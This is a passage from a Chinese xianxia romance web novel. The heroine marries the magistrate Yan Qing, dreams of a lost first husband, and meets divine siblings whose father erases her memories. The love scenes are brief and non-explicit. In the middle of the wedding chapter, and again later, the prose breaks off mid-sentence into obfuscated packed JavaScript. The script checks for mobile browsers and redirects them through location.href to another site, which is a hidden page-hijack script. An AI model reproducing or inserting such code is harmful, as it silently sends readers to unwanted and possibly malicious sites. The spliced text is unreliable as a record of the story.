她摇了摇头,唇角再次扬起:“叫我姜妍就好,姑娘姑娘的,听着怪生分的。” “好,姜妍。”我从善如流地改口,心中对她的好感又多了几分。 走出医馆时,天色已近黄昏,夕阳的余晖洒在街道上,给一切都镀上了一层金色的光晕。我们并肩走在街上,聊起了各自的经历。姜妍性格爽朗,谈吐风趣,几句话便让我觉得与她相识已久。 分别时,我有些不舍,忍不住说道:“今日多谢你,若不是你,我恐怕要归西了。” 姜妍摆了摆手,笑意盈盈:“都说啦,举手之劳而已。欸,下次若有机会,我们再一起喝茶聊天。” 我点了点头,心中满是期待:“好啊,一言为定。我听闻瓦肆那边的戏唱得不错,下次一起。” “没问题!” 她朝我挥了挥手,转身离去,背影在夕阳下拉得很长。我站在原地,看着她渐行渐远,心中忽然涌起一阵愉悦。 没想到,此次人间之旅,觅一良人,还得一挚友,妙啊。 24. 荼蘼花事 踏着星辰,我提着药,轻快地一蹦一跳回府,心中还回味着与姜妍的相遇,嘴角不自觉地扬起一抹笑意。刚到大门口,便与正要出门的颜卿撞个正着。他一身青衫,眉目如画,许是刚从书房出来。 “颜卿!” “你去哪儿了?”他眉头微蹙,“怎么这么久才回来?” 我笑了笑,一个蹦跶跳到他面前。 “我今天交到朋友了!而且她身手可了得!为人亲善开朗……” 我手舞足蹈地跟他讲着今日的喜事,他一脸和蔼地看着我,渐渐地,似乎发现了什么,眉头渐渐蹙起。 颜卿的目光落在我手中的药包上,又看到我衣袖上的血迹,神色微微一凝:“你受伤了?” 我下意识地将手臂往身后藏了藏,故作轻松地说道:“没什么大事,就是不小心被路边耍剑的孩子误伤了而已。” 颜卿显然不信,上前一步,轻轻握住我的手腕,将袖子撩起,露出包扎好的伤口。他的指尖微凉,触碰到我的皮肤时,带来一丝酥麻的触感。他的目光落在伤口上,眉头皱得更紧:“伤得重不重?还疼不疼?” 我摇了摇头。 “真的不碍事,大夫说几日便能痊愈。你别担心。” 我试图轻描淡写地揭过,但颜卿显然不打算就此罢休。 他的眼底藏不住的心疼,拉着我径直走向他日常起居的屋子。他的手掌温热而有力,带着一种不容拒绝的坚定。我被他拉着,脚步有些踉跄,却也不敢挣脱,只能小声嘟囔:“真的不用……” “不行!”他的语气坚决,带着一丝不容置疑的威严。 进了屋子,他轻轻按着我的肩膀,让我坐在椅子上。屋内陈设简洁,书案上堆满了卷宗,空气中弥漫着淡淡的墨香。颜卿转身从柜子里取出一个小巧的药箱,动作熟练地打开,里面整齐地摆放着各种药瓶和纱布。 他蹲下身,轻轻撩起我的袖子,露出包扎好的伤口。他的指尖小心翼翼地触碰着纱布边缘,眉头微微蹙起,仿佛在检查什么重要的案卷。我看着他专注的侧脸,心中涌起一阵暖意,却又有些无奈。 “大夫已经处理过了,你何必再费心?”我轻声说道,试图缓解他的紧张。 颜卿没有抬头。 “你的伤,我总要亲自看过才放心。” 他的手指轻轻解开纱布,动作轻柔得仿佛在对待一件易碎的瓷器。伤口并不深,但在他眼中,却仿佛是什么了不得的大事。他仔细检查了一番,确认没有发炎或感染的迹象,这才稍稍松了一口气。 “还好,伤口不深。”他低声说道,语气中是庆幸。随即,他从药箱中取出一瓶药粉,轻轻洒在伤口上,又用干净的纱布重新包扎好。 我看着他熟练的动作,忍不住问道:“你怎么会这些?” 颜卿的手微微一顿,语气平淡:“想着总会派的上用场,便和唐大夫学了些。虽不精通,但处理小伤还是够用的。” “这样啊……” 我并不把赵老三的事情放在心上,反正他已经得到应有的惩罚,我也出了口恶气揍了他,就当结案。 颜卿继续为我包扎,脸上的神情依旧如他在公堂上那般冰冷无光。 “颜卿。”我轻轻叫他的名字。 他看向我,手上的动作并未停下,只是放慢了些。 “我没事的,很快就会好的。” 颜卿愣了愣,忽地弯起眉眼,朝我笑了笑。 “明明痛的是你,你反倒来安慰我。” 我也朝他笑了笑。 “那你别苦着脸啦,否则我心痛不已,做出什么傻事。” “你做的傻事还少吗。” 我一下噎住,心虚地别开视线。 “也不知道今天救我的姑娘有没有受伤。不过她身手那么好,那么高的墙一蹦就上了,应该没受伤……” 一声轻笑,他抬起手指,小心翼翼地抚摸上我的眼睛。 我一下僵住,不敢轻举妄动。 “这里也受伤了。” 他指我眼皮上一处细微的伤口。 “这点小伤……你亲一下就能好。”我调侃道。 他的手指顿了顿,而后,他朝我凑近了,在我的眼睛上轻轻一吻。 我的呼吸骤然一停,对上他羞涩躲闪的视线。 知道害羞还敢亲我…… 旋即,他的手掌按在我的腰上,手臂收拢,嘴唇紧抿又松开,将我牢牢扣在怀里。 滚烫的吻径自落下,所有的言语都模糊在了交缠的呼吸中。 夜色渐浓,静谧旖旎。晚风拂过树梢,头顶布满点点星光。 颜卿的呼吸声落进我的耳朵,分外清晰。我无处悬停的手,在半空被人捕捉,攥紧在手心。 下一秒,我感觉飞升上空,又坠入深谷。他忽地将我抱起来走在床榻边,又将我放下落入温暖。 颜卿的吻轻轻地点过我的脖颈,笨拙的令人有些发痒。 我看着他头顶束起的发,轻轻开口。 “颜大人玉树临风、聪慧过人,可曾有人上门说亲?” 他埋在我的颈间,潮热的气息呼在我的敏感处。 “不曾。” “我不信。怕不是全信州未出阁的姑娘都争着抢着要嫁给你。” 他攥紧我的手稍稍松开,分开我的手指,与之相扣。 “那你以前,和别的男人做过这种事吗?” 我笑而不答,拨开他额前的发。 “你呢?” “我,是第一次。” 这一夜格外漫长。 我躺在榻上,辗转反侧,脑海中不断回放着两人初次交融的画面。他的指尖触碰我肌肤时的温度,他低头时微微蹙起的眉头,还有他反反复复一直问我“疼不疼?”“要不算了?”“你还好吗?”时那低哑而温柔的声音,都像是一根根细丝,缠绕在我的心头,让我无法入眠。 我翻了个身,描摹身旁之人深邃的眉眼,又好笑又愧疚。 我不想让他知道,我曾与许多人有过类似的经历——那些或真或假的情意,那些或深或浅的纠葛,早已让我学会了如何在感情中游刃有余。可是,面对颜卿,我却不想让他觉得我太过世故,太过懂得如何拿捏人心。 想做他心头的月光,为他带去星辰与光芒。 可是,他太迟钝了,看得人好着急,想上手帮他。 这种矛盾的心理,让我感到无比煎熬。我既想让他看到最真实的我,又害怕他看到那些我不愿暴露的部分。 我轻轻叹了口气,将脸埋进被子里,试图让自己冷静下来。或许,我应该放下那些顾虑,单纯地去感受他的好,去回应他的真心。可是,我又怕自己一旦放下防备,便会陷入无法自拔的境地。 颜卿的呼吸平稳,似乎做了个好梦,眉眼弯弯。忽地睁开眼睛,与我四目相对,在我的诧异中将我拥入怀中,再次进入梦境。 我轻轻笑着抚摸他的眼、鼻、嘴。 “颜如卿月……诞星辰……或许伴你,做一颗悬挂天际的孤星,也不错。” 荼蘼花开,良辰正逢,风携花香,月映佳期。 六月十五。 信州府的天空还未破晓,整座城便已被红绸染透。街市上的灯笼从城门口一路挂到信州府,朱漆门楣上悬着丈余长的红缎,金线绣的“囍”字在晨光中熠熠生辉。檐角铜铃随风轻响,与街巷间此起彼伏的喜乐声交织,震得枝头喜鹊都扑棱棱飞起。 我坐在妆台前,任由喜娘将最后一支赤金嵌红宝的步摇插入发髻。铜镜里,霞帔上的金丝鸾鸟几乎要振翅飞出,裙摆层叠的缠枝牡丹纹在烛火下泛着粼粼波光。桂花捧着妆匣的手微微发抖,眼里噙着泪。 “夫人今日……真像画里的九天玄女。比八年前还好看。” 我笑着用手绢替她拭去眼角的泪。 外头忽地炸开一串爆竹声,惊得我指尖一颤。 “良辰吉时到——” 傧相的高喝穿透喧嚣,我攥紧袖口,深呼吸。房门推开被人推开的瞬间,忽然一股花香伴风而来。红烛高照,喜气盈门。颜卿缓步踏入新房,绣着龙凤呈祥的锦帘轻轻掀起,他温润如玉的声音在静谧的房中响起:“娘子,我来接你了。” 我端坐床沿,低下娇羞的容颜,再次对上他深情地眸子。我看见他睫毛上凝着水汽,唇角却噙着笑。八载春秋化作指间一缕红线,终于在此刻系成同心结。 两家仆妇各持彩缎一端,轻轻递到新人手中。彩缎如流云般轻盈,两端绣着并蒂莲花,象征着永结同心。颜卿修长的手指握住彩缎一端,我则轻轻拈起另一端。 “请新人移步!”喜娘的声音带着笑意。 颜卿倒退而行,目光始终凝视着我,片刻不离。似要把我此刻的样子深深烙印,永世不忘。我亦步亦趋,红裙曳地,绣鞋轻移。两人相对而行,彩缎在中间轻轻摇曳,宛如一道绚丽的虹桥。 颜卿的步子很稳,哪怕是倒退而行,也如履平地。我没忍住抿嘴偷笑,但怕坏了礼仪,没问出那句到嘴边的话,“颜大人想必私下偷摸练习过呢。” 至家庙前,我与他并肩而立。香烟缭绕中,颜卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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兴许是酒的缘故,他呼喊出声音多了几分旖旎。温热的手掌环住了我的腰,潮热的气息呼在我的耳畔。 我轻轻笑了一声。 “夫君醉了?” “嗯……醉了……” 他说话有些含糊不清,我笑着捧起他的脸,直视他的眼睛。 “醉了我们就睡觉吧。” 他温柔地看着我,浅笑一声。 “好。听娘子的。” 我点了点头,指尖点上他的唇瓣,拨弄他的唇珠。 “我说的可是正经睡觉。毕竟起太早,拜来拜去拜了一天,我困了。” “我也说的正经睡觉。”他抬手缓缓取下我的发顶的朱钗,“我帮你取下来。” 我端坐在铜镜前,看着镜子里为我取下凤冠的颜卿。 六月十五,并不是个好日子。 半年节,民间俗话说这天并不适合举办婚礼,被视为“半桩婚姻”,寓意不好。 颜卿却偏说,这是个好日子。 不用猜想,按照颜卿凡事都依着我的性子,六月十五这日子一定是我八年前定的。既能满足我与他成亲的私欲,又能借着民间说法逃离他身边。 我不禁开始怀疑八年前婚礼上将我带走的人,也是我事先预定好的一出戏。 但这一切仅是猜想。只有一个人能替我解答——方大仙。 颜卿见我沉默不语,面色逐渐凝重,浅笑着问道:“在想什么?” 我对上镜中他的目光,笑着摆了摆头。 “改日,我想去一趟清溪山。我自己去就行,你不用陪我。” 他垂眸看我,温柔地捋了捋我披散在身后的发丝。 “好。” 红烛摇曳,我平躺在柔软的床铺上,盯着顶上红色金丝的床幔发愣。繁重的思绪让我根本无法入睡。 洞房花烛夜,空气里却安静得烛火燃烧的声音清晰可闻,我能听到颜卿均匀的呼吸声。 睡得太香了吧…… 我转头看向身旁熟睡的人,没料,正好撞进他直直盯着我的眼眸。 “不是困了?” “怎么睡得着……” 我愣愣看着他,颜卿温柔的目光也正在看我,他往前探了探身子,吻了我。 绵长而热烈的吻,夺走我所有思绪,只让我看着他,关注他,沉溺于他。 偏瘦的身体压下来,夺走我视野里的光。柔软的发丝扫过我的脸庞、脖颈、身前……扫过一切与他坦诚相见的面。 第一次是你,以后的每一次都是你。 可你,却不是我的第一次。 这晚,我又做梦了。 重生后第一次,做了个醒来后记得一清二楚的梦。 25. 深院空帏 这晚,我又做梦了。 重生后第一次,做了个醒来后记得一清二楚的梦。 梦里,我站在一座古色古香的宅院中,四周张灯结彩,红绸高挂,喜气洋洋。鼓乐唢呐声、欢笑贺喜声交织在一起,热闹非凡。我低头看了看自己,发现自己穿着一身素白的衣裳,与周围的喜庆格格不入,但奇怪的是,周围的人似乎都看不到我。 新郎新娘拜堂时,我站在人群中,看着他们一拜天地,二拜高堂,夫妻对拜。新娘穿着华丽的凤冠霞帔,盖头遮住了她的面容,只能从她微微颤抖的手指看出她的紧张。新郎则一身红衣,身姿挺拔,虽然看不清脸,但举手投足间透着一股英气。 礼成后,新娘被送入洞房,而我则被热闹的宴席吸引,自然而然地坐了下来。桌上摆满了美酒佳肴,周围的人推杯换盏,笑声不断。我端起一杯酒,轻轻抿了一口,酒香浓郁,入口回甘。 正当我沉浸在宴席的热闹中时,一个高冷霸气的女人突然坐在了我身边。她穿着一身深紫色的长裙,裙摆上绣着金色的云纹,气质冷艳。她的眼神凌厉,却在对上我的目光时,眉眼弯弯尽是温柔。 “你倒是悠闲,坐在这里喝酒。”她的声音低沉而慵懒。 我愣了一下,有些疑惑地看着她:“你看得到我?” 她轻笑一声,唇角勾起一抹意味深长的弧度。 “当然看得到。不过,其他人可看不到你。” 我环顾四周,宴席座无虚席,独独我这一桌无人光顾。 “这是怎么回事?”我转头看向她。 她抿了一口酒,语气淡然。 “这是你的梦,或者说,是你的一段记忆。你只是旁观者,无法干涉这里的一切。已经发生过的事情,是不可逆转的。” “我的记忆?”我皱了皱眉,“以往都是身临其境,为何这次是以旁观者的身份?” 她没有回答,只是轻轻放下酒杯,抬手揉了揉我的头发。她的动作自然而亲昵,仿佛这样的举动曾做过无数次。我愣了一下,心中莫名涌起一股熟悉感,却怎么也想不起她是谁。 “你……认识我吧?”我试探着问道,“难道这场梦……” 她微微一顿,目光中闪过一丝复杂的情绪,随即恢复了那副高冷的模样:“认识又如何?你现在记不得,我说了也是徒劳。” 她的语气依旧冷淡,可我却从她的眼神中读出了一丝惆怅与无奈。她似乎想说什么,却最终没有开口,只是轻轻叹了口气。 “好好看吧。这次,我暂且替你保守秘密。”她站起身,轻轻拍了拍我的肩膀,“享受姐姐顶着被责罚的风险,为你编织的这场梦吧。” 说完,她的身影便如同烟雾般消散在我眼前。 宴席依旧热闹,可我却没了喝酒的兴致。我站起身,穿过人群,朝着洞房的方向走去。因为是梦境,我的身体可以直接穿过紧闭的门扉,走进室内。 洞房里,烛火摇曳,映照出满室的红色。新娘端坐在床边,双手紧紧攥着衣角,似乎在等待着什么。 时间一点点流逝,红烛燃半,新郎迟迟未归。屋外的宴席已经散去,静地只有收拾热闹后窸窸窣窣的声响。终于,新娘按捺不住,自己揭下了盖头。 就在那一瞬间,我的心猛地一颤——那新娘的脸,竟然是我自己! 我的婚事?可我的婚事不是今日?而且整座宅子怎么看都不是信州府啊。 这是过去发生的事,是我的记忆……意思就是说,颜卿不是与我第一个成亲的人?! “新娘的我”神色紧张,目光中透着不安。她似乎察觉到了什么不对劲,猛地站起身,抓着盖头夺门而出。我下意识地跟了上去,脚步匆匆,心跳如鼓。 她穿过长廊,跑过庭院,最终停在了院子外面。我也跟着停下,眼前的景象让我瞬间屏住了呼吸—— 红衣少年手持长刀,正与数十名黑衣人厮杀。他的身影在雨中显得格外单薄,却依旧奋力挥刀,试图杀出一条血路。雨水混着鲜血,染红了他的衣裳,也染红了脚下的地面。 “新娘的我”站在不远处,脸色苍白,嘴唇颤抖,似乎想要呼喊,却发不出声音。我站在她身后,心中涌起一股难以言喻的悲痛,仿佛这一幕曾在我生命中真实发生过。 终于,红衣少年体力不支,踉跄着跪倒在地。他的长刀插在地上,支撑着他摇摇欲坠的身体。雨水顺着他的发丝滴落,混着鲜血,在地上汇成一片猩红。 “新娘的我”终于喊出了声。 “祈源——!” 红衣少年听到声音,艰难地抬起头,看向她的方向。他的脸上沾满了鲜血,却依旧挤出一抹笑容,嘴唇动了动,似乎在说:“对不起……” 下一刻,他的身体重重倒在地上,溅起一片水花。 “新娘的我”冲了过去,跪在他身边,颤抖着伸出手,却不敢触碰他。她的眼泪混着雨水滑落,声音哽咽。 “祈源……贺祈源……” 我站在一旁,心中仿佛被撕裂一般,疼痛难忍。我想上前,却发现自己动弹不得,只能眼睁睁看着这一切发生。 雨越下越大,模糊了我的视线。当我再次看清时,红衣少年的身影已经消失,只剩下“新娘的我”跪在雨中,手中紧紧攥着那块染血的盖头。 贺祈源……好熟悉的名字…… 这场梦,我是不是曾经梦到过…… 电光火石间,惊雷劈过,眼前的画面被刺眼的白光吞噬。 我猛地惊醒,坐起身来,大口喘着气。额头上满是冷汗,心脏剧烈跳动,仿佛刚刚亲身经历了一场生死离别。 我低头看了看自己的手,仿佛还能感受到梦中那股冰冷的雨水和灼热的鲜血。梦中的情景清晰得可怕,仿佛不是梦,而是一段被尘封的记忆。 “祈源……贺祈源……” 我低声念着这个名字,心中涌起一股莫名的熟悉感。 他到底是谁?为什么我会梦到他?还有那个高冷的女人,她又是谁?为什么从前的梦都记不住,这次却…… 好乱……不行,得沉心静气,不可乱了方寸…… 我摇了摇头,试图将这些纷乱的思绪甩开。窗外,天已经蒙蒙亮。我深吸一口气,告诉自己这只是一场梦,不必太过在意。等下次再遇到方大仙,他会告诉我的。 可心底深处,却有一个声音在轻声提醒我:这场梦,不能再忘。 再?为什么是再? 早膳刚过,信州府门外来了个人,桂花急匆匆地跑来告诉我,说是找我的。我心中疑惑,跟着桂花走到府门口,远远望去,哪里是一个人,分明是一老一男一女。等我凑近一看,才发现还有一个年轻的男子躲在了老人的身后,正探出半个脑袋,好奇地打量着我。 四人见我走近,齐齐看了过来。老人一身灰袍,须发皆白,目光深邃;男子身材高大,眉目冷峻,一身玄色长袍,袖口绣着金线,腰间挂着一枚古朴的玉佩;女子则身着淡紫色纱裙,头戴一支精致的玉簪,眉眼间透着几分冷艳与傲气,好熟悉的一张脸;而那年轻的男子则穿着一身青色长衫,眉眼清秀,脸上带着几分稚气,隐隐透着一股灵动。 我下意识地后退了一步,心中有些发憷。毕竟对方四个人,我只有一个人,若是他们有什么不轨之心,我可应付不来。 老人似乎看出了我的顾虑,微微一笑,语气温和:“姑娘不必害怕。我们只是找你有事相商,不会伤害你。可否请姑娘和我们去一个地方?” 我皱了皱眉,心中依旧警惕:“有什么事不能在这里说吗?” 老人摇了摇头,目光中带着几分深意:“此事关乎你的过去与未来,需找个安静的地方详谈。” 我正想拒绝,冷峻男忽然开口,声音低沉而有力:“你若害怕,只与爹去便是,我们三人不跟着。” 他话音刚落,冷艳的女子便冷哼一声,语气中带着几分不满:“你这话是什么意思?我们既然一起来了,自然要一起跟去。你不想去别拉上我们啊。” 年轻的男子则微微低头,声音轻柔,带着几分腼腆:“我……我也想跟着去。我还是第一次出门……人生地不熟的,会走丢。” 老人无奈地摇了摇头,满脸写着无语,似乎不明白自己为什么要带他们来。 “罢了,一起去吧。” 我见他们争执不下,心中更加疑惑,却也稍稍放下了戒备。毕竟,若是他们真有恶意,也不必如此大费周章。 最终,四人一起上了马车,朝着信州府外几里处的凉亭驶去。 千里清光,荼蘼花香。 马车缓缓行驶,车厢内的气氛依旧压抑而微妙。我坐在角落,手心紧紧攥着青竹发簪,指尖微微发凉。发簪的尖端抵在掌心,带来一丝刺痛,却让我稍稍安心了些。虽然眼前这四人看起来并无恶意,但他们的神秘与陌生让我无法完全放下戒备。 要是察觉到有危险,我就先干翻老的。不对,应该先放倒两个男的,动作得快,一刀一个,否则我打不过他俩。女的看上去也好凶的样子,而且比我高出那么一大截,我难不成跳起来揍她,抓她的头发?! 老人闭目养神,神色淡然,仿佛对周围的一切都了然于胸。冷峻的男子抱臂而坐,目光如刀,偶尔扫过我时,眼神中带着几分审视。女子则微微侧头,透过车窗看向外面的风景,神色冷艳,清冷美人,宛若神女。至于那年轻的男子,依旧低着头,手指轻轻摩挲着衣袖,显得有些局促不安。 马车颠簸了一下,我的身体微微前倾,发簪的尖端险些刺痛掌心。我倒吸一口凉气,努力让自己冷静下来。车厢内的空气仿佛凝固了一般,只有车轮碾过路面的声音和偶尔传来的风声打破了沉寂。 “你似乎很紧张。” 冷峻男忽然开口,声音低沉而冷冽。 我心中一紧,下意识地将发簪往袖口里藏了藏。 “没……没有。” 仙女姐姐转过头来,目光落在我身上,轻浅笑意。 “不必如此戒备。我们若真想对你不利,也不必等到现在。” 我抿了抿唇,没有接话。 “你若是害怕,可以坐到我这边来。”她拍了拍身边的空位。 我摇了摇头,“不用了,我坐这里就好。” 老人忽然睁开了眼睛,“你手中的发簪,莫要伤了自己。” 我的心猛地一沉,手指微微收紧,将发簪悄悄往袖口深处推了推,试图将它藏得更隐秘些。然而,就在我动作的瞬间,他的目光轻轻扫了过来,仿佛早已看穿了我的小动作。无形的压迫感,让我感到无所遁形。 马车终于停了下来,车夫掀开车帘,恭敬地说道:“几位大人,缘溪行上走几步便是凉亭。” 我深吸一口气,握紧发簪,跟着他们下了车。 凉亭四周绿树成荫,溪水潺潺,风景如画,我却无心欣赏。我站在凉亭外,目光警惕地扫视着四周,随时准备应对突发情况。 可就在我们踏入凉亭的瞬间,四人的相貌忽然发生了变化。老人依旧是那副慈祥的模样,我认出了他——方大仙。而那冷艳的女子,赫然是梦里酒席上与我说话的仙女姐姐。至于那冷峻的男子,我仔细打量了他一番,忽然想起,他竟是以前在医鹿山和柳砚清下山义诊时见过的那个人! 至于那年轻的男子,他的变化最为明显。原本清秀的面容此刻更添了几分仙气,眉眼间透着一股纯净与灵动,仿佛不染尘埃。他站在一旁,目光时不时落在我身上,却又迅速移开,显得有些局促。 我心中震惊,下意识地后退了一步:“你们……到底是谁?” 方大仙缓缓开口,语气温和却不容置疑。 “我是来消除你的梦境。” 果然是这样。大费周章也要消除我的记忆,是他没错了。 我咬了咬唇,心中涌起一股不甘。 “可那些梦……对我来说很重要。我不想忘记。” 冷峻男冷哼一声。 “固执。那梦境只会让你痛苦,何必执着?” 仙女姐姐轻轻叹了口气,扶了扶我的头顶。 “你若真的不愿意,我们也不会勉强你。但……终究是为了你好。” 我低下头,不作回应。 方大仙见我不语,缓缓起身,走到我面前。 “有些记忆,不必记得。” 我握紧发簪,指尖微微颤抖。 “可……对我来说,这或许是唯一的线索。我不想忘记,也不想放弃。” 方大仙沉默片刻,而后微微一笑。 变脸技艺太好,我差点没反应过来。 “做个交换吧。告诉你他们仨是谁,和不消除你的记忆,选一个吧。” 这是什么不对等的选项,他们仨是谁,竟然能和消除记忆做对等? 方大仙见我选择了后者,眼中闪过一丝讶异,随即笑意更深,仿佛早已料到我的选择。他轻轻挥了挥衣袖,袖中飘出一缕淡淡的青烟,缭绕在我周身,似乎在确认什么。片刻后,他点了点头,道:“既然你选择了保留记忆,那便如你所愿。” 我心中松了一口气,虽然对那三人的身份依旧好奇,但比起失去记忆,这点好奇心倒也算不得什么。然而,当我转头看向那三人时,却见他们脸色惨白,仿佛被雷劈中一般,眼中满是绝望与不可置信。 冷峻哥颤抖着指着我,声音沙哑:“你……你竟然选择了保留记忆?你知不知道这意味着什么?” 我被他这反应弄得有些莫名其妙。 “这意味着我不用忘记今天的事,有什么问题吗?” 仙女姐姐摇头道:“问题大了……你选择了保留记忆,就意味着我们三个的身份将永远成为你的秘密,而你……也将成为我们的‘劫’。” “劫?” 我听得一头雾水。 方大仙此时插话道:“不错,他们三个乃是天界的‘三劫星君’,掌管人间劫难。他们的身份若是被凡人知晓,便会引发天机泄露,导致劫难失控。而你选择了保留记忆,便意味着他们的身份将永远与你绑定,你将成为他们的‘劫主’。” 我听得目瞪口呆,万万没想到自己随手一个选择,竟然牵扯出这么大的因果。难怪那三人面如死灰,原来是因为我无意间成了他们的“劫主”! “那……那我现在反悔还来得及吗?”我弱弱地问道。 方大仙笑着摇了摇头。 “选择已定,因果已成,反悔也无用。不过你也不必太过担忧,成为‘劫主’未必是坏事。至少,你今后若是遇到什么麻烦,他们三个可得尽心尽力帮你化解劫难,否则他们自己也会受到牵连。” 那三人闻言,脸色更加难看,却也只能无奈点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093803|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秀气哥对我拱手道:“既然如此,今后还请劫主多多关照。” 我干笑两声。 这算什么?莫名其妙就成了三个神仙的“上司”?虽然听起来挺威风,但总觉得哪里不对劲。 方大仙见我一脸纠结,拍了拍我的肩膀。 “放宽心,缘分天定,既然你与他们有此因果,便顺其自然吧。” “哈——好、吧。” 我苦笑一声,心想这仙缘来得也太突然了吧?不过事已至此,也只能走一步看一步了。 “事已至此,我们四人也该回去了。” 方大仙起身。三人仍旧一副不舍的样子,委屈的眼神时不时看向我。 我是不是该说什么话安慰安慰? “咳咳,那啥。”我抿了抿唇,“我就住在信州府,以后,可以来找我玩。” “真的吗!” 仙女姐姐突然丢了她的高冷,抓起我的手两眼放光。 冷峻哥也抬手掩面,但掩不住嘴角的笑意。 “你说的,不许反悔。” 我笑着点头,拍着胸脯保证。 仙女姐姐垂着眼,微带笑意,用一种近乎怜悯的姿态低头看我。忽然眼里泛着泪光,被我察觉后忽地拥住我,不许我看她的表情。似是莲花的香气萦绕,安心的气息让人忍不住深吸一口。 “风啊……”她忽然唤我,鼻子抽了抽,“我……我是姐姐啊。” 我怔愣在原地,不明白她的意思。 她稍稍起身,脸上挂着不适合这张脸的两行泪水,捧起我的脸。 “姐姐好想你啊。” “姐、姐……?” 脑海中一片空白,仿佛有什么东西在深处蠢蠢欲动,却又抓不住。莲花的香气愈发浓郁,仿佛将我包裹在一片柔软的梦境中。 “你……是我姐姐?”我喃喃重复着,声音有些颤抖。 她轻轻点头,眼中泪光闪烁。 “是啊,我是姐姐。你真的……不记得我了吗?” 我努力在记忆中搜寻,却只觉得头痛欲裂,仿佛有什么屏障挡在那里,让我无法触及真相。我摇了摇头,有些无力地说道:“抱歉……我不记得了。可你不是仙……” 在医鹿山的时候,我隐约猜到过自己不是平凡百姓。那些奇怪的过往、偶尔浮现的模糊记忆……但我从未确认过。 我默默看向方大仙,喉咙有些发紧,声音也低了几分:“您真的是……我爹?” 方大仙没有立刻回答,只是静静地看着我。 冷峻哥抓着姐姐的肩膀,把她丢到一边,然后二话不说紧紧拥住我,将我按进怀里。 “所以……你是哥哥?”我被埋在他的胸膛,想笑又想哭。 “嗯。”他郑重地回答,手臂的力量加重些,“我是北哥啊。你这个不让人省心的家伙,真的是……当初就不该让你看那些书。” 知道他是在关心我,我不禁轻轻一笑。 还有一人默默走到我身边,额头倾靠过来抵上我的。 “我是三哥,西雨。为了见你,我可是几万年来第一次离开蓬莱。下次,该轮到你回家看我了。” 虽然不清楚他们在说什么,但心底却被一股浓浓的暖意包围。 走出凉亭,我回头看了一眼,竟发现四人的身影已经消失不见。我低头看着发簪,方大仙竟然真的没有消除我的记忆。 也好。 因为那些梦境,或许是我唯一能抓住的过去。 我不能忘记,也不想忘记。 然而,就在我转身离开的瞬间,方大仙的声音忽然在我耳边响起,低沉而威严:“记忆必须消除,这是天命。” 我心中一紧,下意识地握紧了发簪,却发现自己的身体忽然无法动弹。凉亭四周的空气仿佛凝固了一般,溪水声、风声,甚至我自己的呼吸声都消失不见。 方大仙的身影不知何时出现在我面前,目光深邃如潭水,指尖点上我的额头。 “抱歉,我必须这么做。” 我张了张嘴,却发现自己发不出任何声音。发簪从我的手心滑落,掉在地上,发出一声清脆的响声。我的视线逐渐模糊,脑海中那些模糊的梦境开始一点点消散,仿佛被一只无形的手抹去。 最后的意识中,我听到东姐温柔的声音:“风,好好睡一觉吧。醒来后,一切都会好起来的。” 北哥的冷哼声:“真不让人省心。” 西雨轻柔的低语:“风……这次一定要平安回家啊。” 我闭上眼睛,心中涌起一股莫名的悲伤。那些梦境,那些模糊的记忆,终究还是离我而去了。就连刚才发生的所有都尽数消失。 溪水依旧潺潺,凉亭中只剩下我,静静地躺在冰冷的石板上,望着凉亭斜方的风铃。 心口似乎多出一处空洞,发簪也一同消失了。 我想不明白,也没再深究,沉心静气,抬脚走向溪水下端等我的车夫。 我问起车夫,我为什么到这儿来。他起先很诧异,随后笑着回答我,说今日天气好,所以来这儿看看。 是吗……我今天怎么这么好兴致……明明才婚事的第二天…… 是啊,明明才婚事的第二天,颜卿居然就忙得不可开交。 蓬莱仙岛,云雾缭绕,仙气袅袅。金色的花海在微风中轻轻摇曳,花瓣如雨般飘落,洒在四人的肩头。这片花海仿佛没有尽头,一直延伸到天际,与云霞融为一体。 “小妹啊……她真的还活着……” 东婝抬手拭去眼角的泪,掌心似乎还有方才留下的温度和小妹的气息。 西雨从怀里拿出那支青竹发簪,紧紧护在胸口。 “爹,何必做到这地步呢。你明知她总会记起的。” 方大仙自然晓得,抹去了无数回关于那个人的记忆,可她总会记起。怎么会无法彻底抹去,恐怕法力再高深的无上天君也想不明白。 雾气蔼蔼,萤火漫天,从南岸吹来的风拂过仙人的羽衣,蜉蝣于天地,消无声息。 “必要时,我会把她带回来。这天地间,总有她的归属。” 方大仙喃喃自语着,话里波澜不惊。 北雷看向父亲,眉头微蹙。 “可您知道的,带回来,那真就再也见不到她了。起死回生之术不过救回了一律魂魄,若不重走九段过往,九段梦境,小妹她……” “我知道。” 方大仙轻叹一般道出后,望向海岸边的礁石,好似那抹身影从未离开过。 “我只是不想她这一次,还是选择同样的路。我不能再眼睁睁看着她又踏上同一条路。” 那条通往西洲岛,通往旷野的路。无论人神,皆是死路的旷野。 雾气掩去礁石的影子,星河倒灌,紧闭的院子里,药草不如杂草茂盛。光暗之间,妆台上的发簪已然失去原有的光泽。 她,离开得太久了。 “不过,你们仨打赌输了。别忘了赌约,敢偷懒就罚你们紧闭。” “唉,小妹啊小妹,你可把哥哥姐姐们害惨咯。” “还以为她会想知道我们是谁呢……小时候那么可爱跟在我们身后的南风去哪了……” “不过我好开心,她说以后我可以去信州找她玩~” “别了吧。否则又学上次给她惹恼了,我看你怎么收场。” 26. 春潮带雨 早膳过后,趁所有人忙碌之际,我将卧室里里外外仔仔细细翻了遍。 昨日不知为何心血来潮去了趟山阴凉亭,回来后才想起找闻笙送我的发簪。 凉亭应该是没有的,因为走之前我忘了眼,什么都没有。马车上……如果有,车夫会给我送来。 说不定是我记差了,其实发簪不曾同我出门。 给自己定了定心,我开始着手翻找,任何角落都不放过。 